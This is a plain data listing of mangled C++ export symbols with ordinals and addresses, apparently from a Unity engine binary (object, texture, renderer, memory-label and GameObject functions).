??0Object@@QAE@UMemLabelId@@W4ObjectCreationMode@@@Z	146	0x406b80
??0PlatformThread@@AAE@XZ	147	0x406780
??0ProxyTransfer@@QAE@AAVTypeTree@@W4TransferInstructionFlags@@PAXH@Z	148	0x623a50
??0Rand@@QAE@I@Z	149	0x49d3b0
??0RemapPPtrTransfer@@QAE@ABV0@@Z	150	0x409ad0
??0RemapPPtrTransfer@@QAE@W4TransferInstructionFlags@@_N@Z	151	0x623ff0
??0RenderSettings@@QAE@UMemLabelId@@W4ObjectCreationMode@@@Z	152	0x489310
??0RenderTexture@@QAE@UMemLabelId@@W4ObjectCreationMode@@@Z	153	0x516530
??0Renderer@@QAE@W4RendererType@@UMemLabelId@@W4ObjectCreationMode@@@Z	154	0x5130c0
??0ReportScriptingObjectsTransfer@@QAE@P6AXPAVGeneralMonoObject@@@Z@Z	155	0x542760
??0SafeBinaryRead@@QAE@XZ	156	0x40a700
??0ScriptMapper@@QAE@UMemLabelId@@W4ObjectCreationMode@@@Z	157	0x64ebf0
??0ScriptingArguments@@QAE@XZ	158	0x607590
??0ScriptingManager@@IAE@UMemLabelId@@W4ObjectCreationMode@@@Z	159	0x5515f0
??0SkinnedMeshRenderer@@QAE@UMemLabelId@@W4ObjectCreationMode@@@Z	160	0x4b7cb0
??0SparseTexture@@QAE@UMemLabelId@@W4ObjectCreationMode@@@Z	161	0x565fa0
??0SpriteIntermediateRenderer@@QAE@XZ	162	0x4698f0
??0Texture2D@@QAE@UMemLabelId@@W4ObjectCreationMode@@@Z	163	0x560f20
??0Texture@@QAE@UMemLabelId@@W4ObjectCreationMode@@@Z	164	0x55fa20
??0Thread@@QAE@XZ	165	0x654230
??0TransferBase@@QAE@XZ	166	0x406780
??0Transform@@QAE@UMemLabelId@@W4ObjectCreationMode@@@Z	167	0x56aae0
??0UserList@@QAE@PAVObject@@@Z	168	0x446400
??0UserListBase@@IAE@PAVObject@@@Z	169	0x4010a0
??0kMemAIStruct@@QAE@XZ	170	0x5e3e90
??0kMemAnimationStruct@@QAE@XZ	171	0x5e3e90
??0kMemAssetDatabaseStruct@@QAE@XZ	172	0x5e3e90
??0kMemAssetImporterStruct@@QAE@XZ	173	0x5e3e90
??0kMemAssetServerCacheStruct@@QAE@XZ	174	0x5e3e90
??0kMemAudioDataStruct@@QAE@XZ	175	0x5e3e90
??0kMemAudioProcessingStruct@@QAE@XZ	176	0x5e3e90
??0kMemAudioStruct@@QAE@XZ	177	0x5e3e90
??0kMemAudioTempStruct@@QAE@XZ	178	0x5e3e90
??0kMemBaseObjectStruct@@QAE@XZ	179	0x5e3e90
??0kMemBatchedGeometryStruct@@QAE@XZ	180	0x5e3e90
??0kMemCADImporterStruct@@QAE@XZ	181	0x5e3e90
??0kMemCloudServiceStruct@@QAE@XZ	182	0x5e3e90
??0kMemClusterInputStruct@@QAE@XZ	183	0x5e3e90
??0kMemClusterRendererStruct@@QAE@XZ	184	0x5e3e90
??0kMemCullingStruct@@QAE@XZ	185	0x5e3e90
??0kMemCurlStruct@@QAE@XZ	186	0x5e3e90
??0kMemDefaultStruct@@QAE@XZ	187	0x5e3e90
??0kMemDynamicArrayStruct@@QAE@XZ	188	0x5e3e90
??0kMemDynamicGeometryStruct@@QAE@XZ	189	0x5e3e90
??0kMemEditorGiStruct@@QAE@XZ	190	0x5e3e90
??0kMemEditorGuiStruct@@QAE@XZ	191	0x5e3e90
??0kMemEditorUtilityStruct@@QAE@XZ	192	0x5e3e90
??0kMemFBXImporterStruct@@QAE@XZ	193	0x5e3e90
??0kMemFMODExtraDSPStruct@@QAE@XZ	194	0x5e3e90
??0kMemFMODSampleStruct@@QAE@XZ	195	0x5e3e90
??0kMemFMODStreamStruct@@QAE@XZ	196	0x5e3e90
??0kMemFMODStruct@@QAE@XZ	197	0x5e3e90
??0kMemFileStruct@@QAE@XZ	198	0x5e3e90
??0kMemFontStruct@@QAE@XZ	199	0x5e3e90
??0kMemGISStruct@@QAE@XZ	200	0x5e3e90
??0kMemGIStruct@@QAE@XZ	201	0x5e3e90
??0kMemGLibImageStruct@@QAE@XZ	202	0x5e3e90
??0kMemGLibStruct@@QAE@XZ	203	0x5e3e90
??0kMemGPUMemoryStruct@@QAE@XZ	204	0x5e3e90
??0kMemGarbageCollectorStruct@@QAE@XZ	205	0x5e3e90
??0kMemGeometryStruct@@QAE@XZ	206	0x5e3e90
??0kMemGfxDeviceStruct@@QAE@XZ	207	0x5e3e90
??0kMemGfxThreadStruct@@QAE@XZ	208	0x5e3e90
??0kMemIO2Struct@@QAE@XZ	209	0x5e3e90
??0kMemIOStruct@@QAE@XZ	210	0x5e3e90
??0kMemImmediateGeometryStruct@@QAE@XZ	211	0x5e3e90
??0kMemInputStruct@@QAE@XZ	212	0x5e3e90
??0kMemInvalidAllocStruct@@QAE@XZ	213	0x5e3e90
??0kMemJobSchedulerStruct@@QAE@XZ	214	0x5e3e90
??0kMemLicenseStruct@@QAE@XZ	215	0x5e3e90
??0kMemMallocFreeStruct@@QAE@XZ	216	0x5e3e90
??0kMemManagerStruct@@QAE@XZ	217	0x5e3e90
??0kMemMemoryProfilerStringStruct@@QAE@XZ	218	0x5e3e90
??0kMemMemoryProfilerStruct@@QAE@XZ	219	0x5e3e90
??0kMemMonoCodeStruct@@QAE@XZ	220	0x5e3e90
??0kMemMonoStruct@@QAE@XZ	221	0x5e3e90
??0kMemNetworkStruct@@QAE@XZ	222	0x5e3e90
??0kMemNewDeleteStruct@@QAE@XZ	223	0x5e3e90
??0kMemPS3DelayedReleaseStruct@@QAE@XZ	224	0x5e3e90
??0kMemPS3RSXBuffersStruct@@QAE@XZ	225	0x5e3e90
??0kMemPS3RingBuffersStruct@@QAE@XZ	226	0x5e3e90
??0kMemPS3VideoMemoryStruct@@QAE@XZ	227	0x5e3e90
??0kMemPS4ShaderUcodeStruct@@QAE@XZ	228	0x5e3e90
??0kMemPSP2GXMBuffersStruct@@QAE@XZ	229	0x5e3e90
??0kMemPSP2GXMVertexDataStruct@@QAE@XZ	230	0x5e3e90
??0kMemPVSStruct@@QAE@XZ	231	0x5e3e90
??0kMemParticlesStruct@@QAE@XZ	232	0x5e3e90
??0kMemPermanentStruct@@QAE@XZ	233	0x5e3e90
??0kMemPhysics2DStruct@@QAE@XZ	234	0x5e3e90
??0kMemPhysicsStruct@@QAE@XZ	235	0x5e3e90
??0kMemPoolAllocStruct@@QAE@XZ	236	0x5e3e90
??0kMemPreviewImageStruct@@QAE@XZ	237	0x5e3e90
??0kMemProfilerStruct@@QAE@XZ	238	0x5e3e90
??0kMemRendererStruct@@QAE@XZ	239	0x5e3e90
??0kMemResourceStruct@@QAE@XZ	240	0x5e3e90
??0kMemSTLStruct@@QAE@XZ	241	0x5e3e90
??0kMemScriptManagerStruct@@QAE@XZ	242	0x5e3e90
??0kMemScriptingNativeRuntimeStruct@@QAE@XZ	243	0x5e3e90
??0kMemSerializationStruct@@QAE@XZ	244	0x5e3e90
??0kMemShaderStruct@@QAE@XZ	245	0x5e3e90
??0kMemShadowStruct@@QAE@XZ	246	0x5e3e90
??0kMemSketchUpStruct@@QAE@XZ	247	0x5e3e90
??0kMemSkinningStruct@@QAE@XZ	248	0x5e3e90
??0kMemSpritesStruct@@QAE@XZ	249	0x5e3e90
??0kMemStaticStringStruct@@QAE@XZ	250	0x5e3e90
??0kMemStreamingManagerStruct@@QAE@XZ	251	0x5e3e90
??0kMemStringStruct@@QAE@XZ	252	0x5e3e90
??0kMemSubstanceStruct@@QAE@XZ	253	0x5e3e90
??0kMemTempAllocStruct@@QAE@XZ	254	0x5e3e90
??0kMemTempJobAllocStruct@@QAE@XZ	255	0x5e3e90
??0kMemTempOverflowStruct@@QAE@XZ	256	0x5e3e90
??0kMemTerrainPhysicsStruct@@QAE@XZ	257	0x5e3e90
??0kMemTerrainStruct@@QAE@XZ	258	0x5e3e90
??0kMemTextAssetStruct@@QAE@XZ	259	0x5e3e90
??0kMemTextureCacheStruct@@QAE@XZ	260	0x5e3e90
??0kMemTextureStruct@@QAE@XZ	261	0x5e3e90
??0kMemThreadStackStruct@@QAE@XZ	262	0x5e3e90
??0kMemThreadStruct@@QAE@XZ	263	0x5e3e90
??0kMemTransformStruct@@QAE@XZ	264	0x5e3e90
??0kMemTypeTreeStruct@@QAE@XZ	265	0x5e3e90
??0kMemUTF16StringStruct@@QAE@XZ	266	0x5e3e90
??0kMemUndoBufferStruct@@QAE@XZ	267	0x5e3e90
??0kMemUndoStruct@@QAE@XZ	268	0x5e3e90
??0kMemUnetStruct@@QAE@XZ	269	0x5e3e90
??0kMemUnityConnectStruct@@QAE@XZ	270	0x5e3e90
??0kMemUtilityStruct@@QAE@XZ	271	0x5e3e90
??0kMemVRStruct@@QAE@XZ	272	0x5e3e90
??0kMemVersionControlStruct@@QAE@XZ	273	0x5e3e90
??0kMemVertexDataStruct@@QAE@XZ	274	0x5e3e90
??0kMemWebCamStruct@@QAE@XZ	275	0x5e3e90
??0kMemWebViewCallbackStruct@@QAE@XZ	276	0x5e3e90
??0kMemWinRTTLSStruct@@QAE@XZ	277	0x5e3e90
??0kMemXboxOneGpuMemoryStruct@@QAE@XZ	278	0x5e3e90
??0kMemYamlStruct@@QAE@XZ	279	0x5e3e90
??1?$AnimationCurveTpl@M@@QAE@XZ	280	0x4464c0
??1?$AnimationCurveTpl@VQuaternionf@@@@QAE@XZ	281	0x446450
??1?$AnimationCurveTpl@VVector3f@@@@QAE@XZ	282	0x446490
??1BaseBehaviourManager@@UAE@XZ	283	0x523870
??1BaseRenderer@@UAE@XZ	284	0x452d10
??1Behaviour@@MAE@XZ	285	0x40c990
??1BlobWrite@@QAE@XZ	286	0x5ca5c0
??1Camera@@MAE@XZ	287	0x418af0
??1CollisionMeshData@@QAE@XZ	288	0x4b17b0
??1Component@Unity@@MAE@XZ	289	0x407980
??1EditorExtension@@MAE@XZ	290	0x407610
??1GameManager@@MAE@XZ	291	0x4076b0
??1GameObject@Unity@@MAE@XZ	292	0x407e50
??1GlobalGameManager@@MAE@XZ	293	0x407860
??1IRaycast@@UAE@XZ	294	0x45fd60
??1IntermediateRenderer@@UAE@XZ	295	0x469750
??1JobQueue@@QAE@XZ	296	0x653600
??1LevelGameManager@@MAE@XZ	297	0x407790
??1ListElement@@QAE@XZ	298	0x554fb0
??1Material@Unity@@MAE@XZ	299	0x41b570
??1MaterialPropertyBlock@@QAE@XZ	300	0x418750
??1MemoryPool@@QAE@XZ	301	0x663b10
??1Mesh@@MAE@XZ	302	0x4476b0
??1MeshFilter@@MAE@XZ	303	0x4d2390
??1MeshIntermediateRenderer@@UAE@XZ	304	0x469820
??1MeshIntermediateRendererWithDistanceSortingOrder@@UAE@XZ	305	0x469820
??1MonoManager@@MAE@XZ	306	0x40c1e0
??1NamedObject@@MAE@XZ	307	0x40d1f0
??1Object@@MAE@XZ	308	0x406bf0
??1PlatformThread@@AAE@XZ	309	0x554fb0
??1RemapPPtrTransfer@@QAE@XZ	310	0x408b80
??1RenderSettings@@MAE@XZ	311	0x43fcb0
??1RenderTexture@@MAE@XZ	312	0x4188c0
??1Renderer@@MAE@XZ	313	0x4187a0
??1SafeBinaryRead@@QAE@XZ	314	0x624e80
??1ScriptMapper@@MAE@XZ	315	0x447810
??1ScriptingManager@@UAE@XZ	316	0x551490
??1SkinnedMeshRenderer@@MAE@XZ	317	0x4b6920
??1SparseTexture@@MAE@XZ	318	0x565e50
??1SpriteIntermediateRenderer@@UAE@XZ	319	0x469910
??1Texture2D@@MAE@XZ	320	0x40d870
??1Texture@@MAE@XZ	321	0x40d740
??1Thread@@QAE@XZ	322	0x965b60
??1Transform@@MAE@XZ	323	0x40efe0
??1UserList@@QAE@XZ	324	0x446420
??2@YAPAXIUMemLabelId@@_NHPBDH@Z	325	0x402c60
??2MeshIntermediateRenderer@@SAPAXI@Z	326	0x4530f0
??2MeshIntermediateRendererWithDistanceSortingOrder@@SAPAXI@Z	327	0x453160
??2SpriteIntermediateRenderer@@SAPAXI@Z	328	0x4531a0
??3@YAXPAXUMemLabelId@@_NHPBDH@Z	329	0x402230
??3MeshIntermediateRenderer@@SAXPAX@Z	330	0x453110
??3MeshIntermediateRendererWithDistanceSortingOrder@@SAXPAX@Z	331	0x453180
??3SpriteIntermediateRenderer@@SAXPAX@Z	332	0x4531c0
??4?$AnimationCurveTpl@M@@QAEAAV0@ABV0@@Z	333	0x446fc0
??4?$AnimationCurveTpl@VQuaternionf@@@@QAEAAV0@ABV0@@Z	334	0x446da0
??4?$AnimationCurveTpl@VVector3f@@@@QAEAAV0@ABV0@@Z	335	0x446ea0
??4?$CallbackArray1@AAUClassRegistrationContext@@@@QAEAAV0@ABV0@@Z	336	0x4531e0
??4?$CallbackArray1@AAVModuleManager@@@@QAEAAV0@ABV0@@Z	337	0x4531e0
??4?$CallbackArray1@ABVCamera@@@@QAEAAV0@ABV0@@Z	338	0x4531e0
??4?$CallbackArray1@PAVCamera@@@@QAEAAV0@ABV0@@Z	339	0x4531e0
??4?$CallbackArray2@PBUIndexList@@PBURendererCullData@@@@QAEAAV0@ABV0@@Z	340	0x4531e0
??4?$CallbackArray3@ABV?$basic_string@DU?$char_traits@D@std@@V?$stl_allocator@D$0DL@$0BA@@@@std@@AAVAwakeFromLoadQueue@@W4LoadingMode@LoadSceneOperation@@@@QAEAAV0@ABV0@@Z	341	0x4531e0
??4?$CallbackArrayBase@P6AXAAUClassRegistrationContext@@@Z@@QAEAAV0@ABV0@@Z	342	0x4531e0
??4?$CallbackArrayBase@P6AXAAVModuleManager@@@Z@@QAEAAV0@ABV0@@Z	343	0x4531e0
??4?$CallbackArrayBase@P6AXABV?$basic_string@DU?$char_traits@D@std@@V?$stl_allocator@D$0DL@$0BA@@@@std@@AAVAwakeFromLoadQueue@@W4LoadingMode@LoadSceneOperation@@@Z@@QAEAAV0@ABV0@@Z	344	0x4531e0
??4?$CallbackArrayBase@P6AXABVCamera@@@Z@@QAEAAV0@ABV0@@Z	345	0x4531e0
??4?$CallbackArrayBase@P6AXPAVCamera@@@Z@@QAEAAV0@ABV0@@Z	346	0x4531e0
??4?$CallbackArrayBase@P6AXPBUIndexList@@PBURendererCullData@@@Z@@QAEAAV0@ABV0@@Z	347	0x4531e0
??4?$CallbackArrayBase@P6AXXZ@@QAEAAV0@ABV0@@Z	348	0x4531e0
??4?$RectT@H@@QAEAAV0@ABV0@@Z	349	0x5427a0
??4?$RectT@M@@QAEAAV0@ABV0@@Z	350	0x5427a0
??4?$StreamedBinaryWrite@$00@@QAEAAV0@ABV0@@Z	351	0x4172d0
??4?$StreamedBinaryWrite@$0A@@@QAEAAV0@ABV0@@Z	352	0x4172d0
??4BaseBehaviourManager@@QAEAAV0@ABV0@@Z	353	0x40d190
??4BaseRenderer@@QAEAAV0@ABV0@@Z	354	0x4182a0
??4BuildTargetSelection@@QAEAAU0@ABU0@@Z	355	0x405990
??4CallbackArray@@QAEAAV0@ABV0@@Z	356	0x4531e0
??4CollisionMeshData@@QAEAAV0@ABV0@@Z	357	0x445780
??4DrawUtil@@QAEAAU0@ABU0@@Z	358	0x4459c0
??4GlobalCallbacks@@QAEAAU0@ABU0@@Z	359	0x453200
??4IVRDevice@@QAEAAV0@ABV0@@Z	360	0x4459c0
??4MaterialPropertyBlock@@QAEAAV0@ABV0@@Z	361	0x418dd0
??4Matrix3x3f@@QAEAAV0@ABV0@@Z	362	0x40e220
??4Matrix3x3f@@QAEAAV0@ABVMatrix4x4f@@@Z	363	0x59ca10
??4Matrix4x4f@@QAEAAV0@ABV0@@Z	364	0x405d20
??4Matrix4x4f@@QAEAAV0@ABVMatrix3x3f@@@Z	365	0x59e530
??4MemLabelId@@QAEAAU0@ABU0@@Z	366	0x93af70
??4MemoryPool@@QAEAAV0@ABV0@@Z	367	0x4092b0
??4MobileBuildSubTarget@@QAEAAU0@ABU0@@Z	368	0x93af70
??4Rand@@QAEAAV0@ABV0@@Z	369	0x5427a0
??4RemapPPtrTransfer@@QAEAAV0@ABV0@@Z	370	0x40a6c0
??4ReportScriptingObjectsTransfer@@QAEAAV0@ABV0@@Z	371	0x5427a0
??4ScriptingArguments@@QAEAAU0@ABU0@@Z	372	0x406840
??4TransferBase@@QAEAAV0@ABV0@@Z	373	0x4067c0
??4kMemAIStruct@@QAEAAU0@ABU0@@Z	374	0x93af70
??4kMemAnimationStruct@@QAEAAU0@ABU0@@Z	375	0x93af70
??4kMemAssetDatabaseStruct@@QAEAAU0@ABU0@@Z	376	0x93af70
??4kMemAssetImporterStruct@@QAEAAU0@ABU0@@Z	377	0x93af70
??4kMemAssetServerCacheStruct@@QAEAAU0@ABU0@@Z	378	0x93af70
??4kMemAudioDataStruct@@QAEAAU0@ABU0@@Z	379	0x93af70
??4kMemAudioProcessingStruct@@QAEAAU0@ABU0@@Z	380	0x93af70
??4kMemAudioStruct@@QAEAAU0@ABU0@@Z	381	0x93af70
??4kMemAudioTempStruct@@QAEAAU0@ABU0@@Z	382	0x93af70
??4kMemBaseObjectStruct@@QAEAAU0@ABU0@@Z	383	0x93af70
??4kMemBatchedGeometryStruct@@QAEAAU0@ABU0@@Z	384	0x93af70
??4kMemCADImporterStruct@@QAEAAU0@ABU0@@Z	385	0x93af70
??4kMemCloudServiceStruct@@QAEAAU0@ABU0@@Z	386	0x93af70
??4kMemClusterInputStruct@@QAEAAU0@ABU0@@Z	387	0x93af70
??4kMemClusterRendererStruct@@QAEAAU0@ABU0@@Z	388	0x93af70
??4kMemCullingStruct@@QAEAAU0@ABU0@@Z	389	0x93af70
??4kMemCurlStruct@@QAEAAU0@ABU0@@Z	390	0x93af70
??4kMemDefaultStruct@@QAEAAU0@ABU0@@Z	391	0x93af70
??4kMemDynamicArrayStruct@@QAEAAU0@ABU0@@Z	392	0x93af70
??4kMemDynamicGeometryStruct@@QAEAAU0@ABU0@@Z	393	0x93af70
??4kMemEditorGiStruct@@QAEAAU0@ABU0@@Z	394	0x93af70
??4kMemEditorGuiStruct@@QAEAAU0@ABU0@@Z	395	0x93af70
??4kMemEditorUtilityStruct@@QAEAAU0@ABU0@@Z	396	0x93af70
??4kMemFBXImporterStruct@@QAEAAU0@ABU0@@Z	397	0x93af70
??4kMemFMODExtraDSPStruct@@QAEAAU0@ABU0@@Z	398	0x93af70
??4kMemFMODSampleStruct@@QAEAAU0@ABU0@@Z	399	0x93af70
??4kMemFMODStreamStruct@@QAEAAU0@ABU0@@Z	400	0x93af70
??4kMemFMODStruct@@QAEAAU0@ABU0@@Z	401	0x93af70
??4kMemFileStruct@@QAEAAU0@ABU0@@Z	402	0x93af70
??4kMemFontStruct@@QAEAAU0@ABU0@@Z	403	0x93af70
??4kMemGISStruct@@QAEAAU0@ABU0@@Z	404	0x93af70
??4kMemGIStruct@@QAEAAU0@ABU0@@Z	405	0x93af70
??4kMemGLibImageStruct@@QAEAAU0@ABU0@@Z	406	0x93af70
??4kMemGLibStruct@@QAEAAU0@ABU0@@Z	407	0x93af70
??4kMemGPUMemoryStruct@@QAEAAU0@ABU0@@Z	408	0x93af70
??4kMemGarbageCollectorStruct@@QAEAAU0@ABU0@@Z	409	0x93af70
??4kMemGeometryStruct@@QAEAAU0@ABU0@@Z	410	0x93af70
??4kMemGfxDeviceStruct@@QAEAAU0@ABU0@@Z	411	0x93af70
??4kMemGfxThreadStruct@@QAEAAU0@ABU0@@Z	412	0x93af70
??4kMemIO2Struct@@QAEAAU0@ABU0@@Z	413	0x93af70
??4kMemIOStruct@@QAEAAU0@ABU0@@Z	414	0x93af70
??4kMemImmediateGeometryStruct@@QAEAAU0@ABU0@@Z	415	0x93af70
??4kMemInputStruct@@QAEAAU0@ABU0@@Z	416	0x93af70
??4kMemInvalidAllocStruct@@QAEAAU0@ABU0@@Z	417	0x93af70
??4kMemJobSchedulerStruct@@QAEAAU0@ABU0@@Z	418	0x93af70
??4kMemLicenseStruct@@QAEAAU0@ABU0@@Z	419	0x93af70
??4kMemMallocFreeStruct@@QAEAAU0@ABU0@@Z	420	0x93af70
??4kMemManagerStruct@@QAEAAU0@ABU0@@Z	421	0x93af70
??4kMemMemoryProfilerStringStruct@@QAEAAU0@ABU0@@Z	422	0x93af70
??4kMemMemoryProfilerStruct@@QAEAAU0@ABU0@@Z	423	0x93af70
??4kMemMonoCodeStruct@@QAEAAU0@ABU0@@Z	424	0x93af70
??4kMemMonoStruct@@QAEAAU0@ABU0@@Z	425	0x93af70
??4kMemNetworkStruct@@QAEAAU0@ABU0@@Z	426	0x93af70
??4kMemNewDeleteStruct@@QAEAAU0@ABU0@@Z	427	0x93af70
??4kMemPS3DelayedReleaseStruct@@QAEAAU0@ABU0@@Z	428	0x93af70
??4kMemPS3RSXBuffersStruct@@QAEAAU0@ABU0@@Z	429	0x93af70
??4kMemPS3RingBuffersStruct@@QAEAAU0@ABU0@@Z	430	0x93af70
??4kMemPS3VideoMemoryStruct@@QAEAAU0@ABU0@@Z	431	0x93af70
??4kMemPS4ShaderUcodeStruct@@QAEAAU0@ABU0@@Z	432	0x93af70
??4kMemPSP2GXMBuffersStruct@@QAEAAU0@ABU0@@Z	433	0x93af70
??4kMemPSP2GXMVertexDataStruct@@QAEAAU0@ABU0@@Z	434	0x93af70
??4kMemPVSStruct@@QAEAAU0@ABU0@@Z	435	0x93af70
??4kMemParticlesStruct@@QAEAAU0@ABU0@@Z	436	0x93af70
??4kMemPermanentStruct@@QAEAAU0@ABU0@@Z	437	0x93af70
??4kMemPhysics2DStruct@@QAEAAU0@ABU0@@Z	438	0x93af70
??4kMemPhysicsStruct@@QAEAAU0@ABU0@@Z	439	0x93af70
??4kMemPoolAllocStruct@@QAEAAU0@ABU0@@Z	440	0x93af70
??4kMemPreviewImageStruct@@QAEAAU0@ABU0@@Z	441	0x93af70
??4kMemProfilerStruct@@QAEAAU0@ABU0@@Z	442	0x93af70
??4kMemRendererStruct@@QAEAAU0@ABU0@@Z	443	0x93af70
??4kMemResourceStruct@@QAEAAU0@ABU0@@Z	444	0x93af70
??4kMemSTLStruct@@QAEAAU0@ABU0@@Z	445	0x93af70
??4kMemScriptManagerStruct@@QAEAAU0@ABU0@@Z	446	0x93af70
??4kMemScriptingNativeRuntimeStruct@@QAEAAU0@ABU0@@Z	447	0x93af70
??4kMemSerializationStruct@@QAEAAU0@ABU0@@Z	448	0x93af70
??4kMemShaderStruct@@QAEAAU0@ABU0@@Z	449	0x93af70
??4kMemShadowStruct@@QAEAAU0@ABU0@@Z	450	0x93af70
??4kMemSketchUpStruct@@QAEAAU0@ABU0@@Z	451	0x93af70
??4kMemSkinningStruct@@QAEAAU0@ABU0@@Z	452	0x93af70
??4kMemSpritesStruct@@QAEAAU0@ABU0@@Z	453	0x93af70
??4kMemStaticStringStruct@@QAEAAU0@ABU0@@Z	454	0x93af70
??4kMemStreamingManagerStruct@@QAEAAU0@ABU0@@Z	455	0x93af70
??4kMemStringStruct@@QAEAAU0@ABU0@@Z	456	0x93af70
??4kMemSubstanceStruct@@QAEAAU0@ABU0@@Z	457	0x93af70
??4kMemTempAllocStruct@@QAEAAU0@ABU0@@Z	458	0x93af70
??4kMemTempJobAllocStruct@@QAEAAU0@ABU0@@Z	459	0x93af70
??4kMemTempOverflowStruct@@QAEAAU0@ABU0@@Z	460	0x93af70
??4kMemTerrainPhysicsStruct@@QAEAAU0@ABU0@@Z	461	0x93af70
??4kMemTerrainStruct@@QAEAAU0@ABU0@@Z	462	0x93af70
??4kMemTextAssetStruct@@QAEAAU0@ABU0@@Z	463	0x93af70
??4kMemTextureCacheStruct@@QAEAAU0@ABU0@@Z	464	0x93af70
??4kMemTextureStruct@@QAEAAU0@ABU0@@Z	465	0x93af70
??4kMemThreadStackStruct@@QAEAAU0@ABU0@@Z	466	0x93af70
??4kMemThreadStruct@@QAEAAU0@ABU0@@Z	467	0x93af70
??4kMemTransformStruct@@QAEAAU0@ABU0@@Z	468	0x93af70
??4kMemTypeTreeStruct@@QAEAAU0@ABU0@@Z	469	0x93af70
??4kMemUTF16StringStruct@@QAEAAU0@ABU0@@Z	470	0x93af70
??4kMemUndoBufferStruct@@QAEAAU0@ABU0@@Z	471	0x93af70
??4kMemUndoStruct@@QAEAAU0@ABU0@@Z	472	0x93af70
??4kMemUnetStruct@@QAEAAU0@ABU0@@Z	473	0x93af70
??4kMemUnityConnectStruct@@QAEAAU0@ABU0@@Z	474	0x93af70
??4kMemUtilityStruct@@QAEAAU0@ABU0@@Z	475	0x93af70
??4kMemVRStruct@@QAEAAU0@ABU0@@Z	476	0x93af70
??4kMemVersionControlStruct@@QAEAAU0@ABU0@@Z	477	0x93af70
??4kMemVertexDataStruct@@QAEAAU0@ABU0@@Z	478	0x93af70
??4kMemWebCamStruct@@QAEAAU0@ABU0@@Z	479	0x93af70
??4kMemWebViewCallbackStruct@@QAEAAU0@ABU0@@Z	480	0x93af70
??4kMemWinRTTLSStruct@@QAEAAU0@ABU0@@Z	481	0x93af70
??4kMemXboxOneGpuMemoryStruct@@QAEAAU0@ABU0@@Z	482	0x93af70
??4kMemYamlStruct@@QAEAAU0@ABU0@@Z	483	0x93af70
??8?$AnimationCurveTpl@M@@QBE_NABV0@@Z	484	0x80b900
??8?$RectT@M@@QBE_NABV0@@Z	485	0x5102a0
??8BuildTargetSelection@@QBE_NABU0@@Z	486	0x405920
??9?$AnimationCurveTpl@M@@QBE_NABV0@@Z	487	0x80bb50
??9?$RectT@H@@QBE_NABV0@@Z	488	0x699a40
??9?$RectT@M@@QBE_NABV0@@Z	489	0x510320
??9BuildTargetSelection@@QBE_NABU0@@Z	490	0x405940
??AMatrix3x3f@@QAEAAMH@Z	491	0x40e1b0
??AMatrix3x3f@@QBEMH@Z	492	0x607860
??AMatrix4x4f@@QAEAAMH@Z	493	0x40e1b0
??AMatrix4x4f@@QBEMH@Z	494	0x607860
??BMobileBuildSubTarget@@QAE?AW4MobileTextureSubtarget@@XZ	495	0x4059d0
??XMatrix3x3f@@QAEAAV0@ABV0@@Z	496	0x59cef0
??XMatrix3x3f@@QAEAAV0@ABVMatrix4x4f@@@Z	497	0x59d160
??XMatrix3x3f@@QAEAAV0@M@Z	498	0x59ce00
??XMatrix4x4f@@QAEAAV0@ABV0@@Z	499	0x5a08b0
??_0Matrix3x3f@@QAEAAV0@M@Z	500	0x40e1f0
??_7BaseBehaviourManager@@6B@	501	0x100f390
??_7BaseRenderer@@6B@	502	0x1010448
??_7Behaviour@@6B@	503	0x100f310
??_7Camera@@6B@	504	0x10105d0
??_7Component@Unity@@6B@	505	0x100f128
??_7EditorExtension@@6B@	506	0x100efa8
??_7GameManager@@6B@	507	0x100f000
??_7GameObject@Unity@@6B@	508	0x100f190
??_7GlobalGameManager@@6B@	509	0x100f0c8
??_7IAnimation@@6B@	510	0x101c3e4
??_7IClusterRenderer@@6B@	511	0x10755d0
??_7IPhysics@@6B@	512	0x1016db8
??_7IPhysicsEditor@@6B@	513	0x1016dfc
??_7IRaycast@@6B@	514	0x1017d50
??_7IUmbra@@6B@	515	0x1016c80
??_7IVRDevice@@6B@	516	0x1017500
??_7IntermediateRenderer@@6B@	517	0x1018508
??_7LevelGameManager@@6B@	518	0x100f060
??_7Material@Unity@@6B@	519	0x1010678
??_7Mesh@@6B@	520	0x1016ee0
??_7MeshFilter@@6B@	521	0x101d0b0
??_7MeshIntermediateRenderer@@6B@	522	0x1018558
??_7MeshIntermediateRendererWithDistanceSortingOrder@@6B@	523	0x10185a8
??_7MonoManager@@6B@	524	0x100f260
??_7NamedObject@@6B@	525	0x100f3b8
??_7Object@@6B@	526	0x100ef08
??_7RenderSettings@@6B@	527	0x1016ce0
??_7RenderTexture@@6B@	528	0x1010540
??_7Renderer@@6BBaseRenderer@@@	529	0x1010484
??_7Renderer@@6BComponent@Unity@@@	530	0x10104c0
??_7ScriptMapper@@6B@	531	0x1016f38
??_7ScriptingManager@@6B@	532	0x1024f20
??_7SkinnedMeshRenderer@@6BBaseRenderer@@@	533	0x101c410
??_7SkinnedMeshRenderer@@6BComponent@Unity@@@	534	0x101c450
??_7SparseTexture@@6B@	535	0x10261b8
??_7SpriteIntermediateRenderer@@6B@	536	0x10185f8
??_7Texture2D@@6B@	537	0x100f4e0
??_7Texture@@6B@	538	0x100f450
??_7Transform@@6B@	539	0x100f5d8
??_FRand@@QAEXXZ	540	0x49d3e0
?AcquireSharedMeshData@Mesh@@QAEPAVSharedMeshData@@XZ	541	0x4bf610
?AcquireSharedTextureData@Texture2D@@QAEPAVSharedTextureData@@XZ	542	0x560520
?Activate@GameObject@Unity@@QAEXXZ	543	0x40fa10
?ActivateAwakeRecursively@GameObject@Unity@@QAEXW4DeactivateOperation@2@@Z	544	0x40f850
?ActivateAwakeRecursivelyInternal@GameObject@Unity@@QAEXW4DeactivateOperation@2@AAVAwakeFromLoadQueue@@@Z	545	0x40f700
?ActivateInternal@GameObject@Unity@@QAEXXZ	546	0x4069d0
?AddArray@ScriptingArguments@@QAEXPAUMonoArray@@@Z	547	0x6077a0
?AddBehaviour@BaseBehaviourManager@@QAEXAAV?$ListNode@VBehaviour@@@@H@Z	548	0x523f80
?AddBoolean@ScriptingArguments@@QAEX_N@Z	549	0x607600
?AddBuiltinShader@ScriptMapper@@QAEXABV?$basic_string@DU?$char_traits@D@std@@V?$stl_allocator@D$0DL@$0BA@@@@std@@V?$PPtr@VShader@@@@@Z	550	0x64eaa0
?AddCleanupAllModulesCallback@ModuleManager@@QAEXP6AXXZ@Z	551	0x41ee60
?AddCommandBuffer@Camera@@QAEXW4RenderCameraEventType@@PAVRenderingCommandBuffer@@@Z	552	0x417af0
?AddComponentInternal@GameObject@Unity@@QAEXPAVComponent@2@@Z	553	0x40fe30
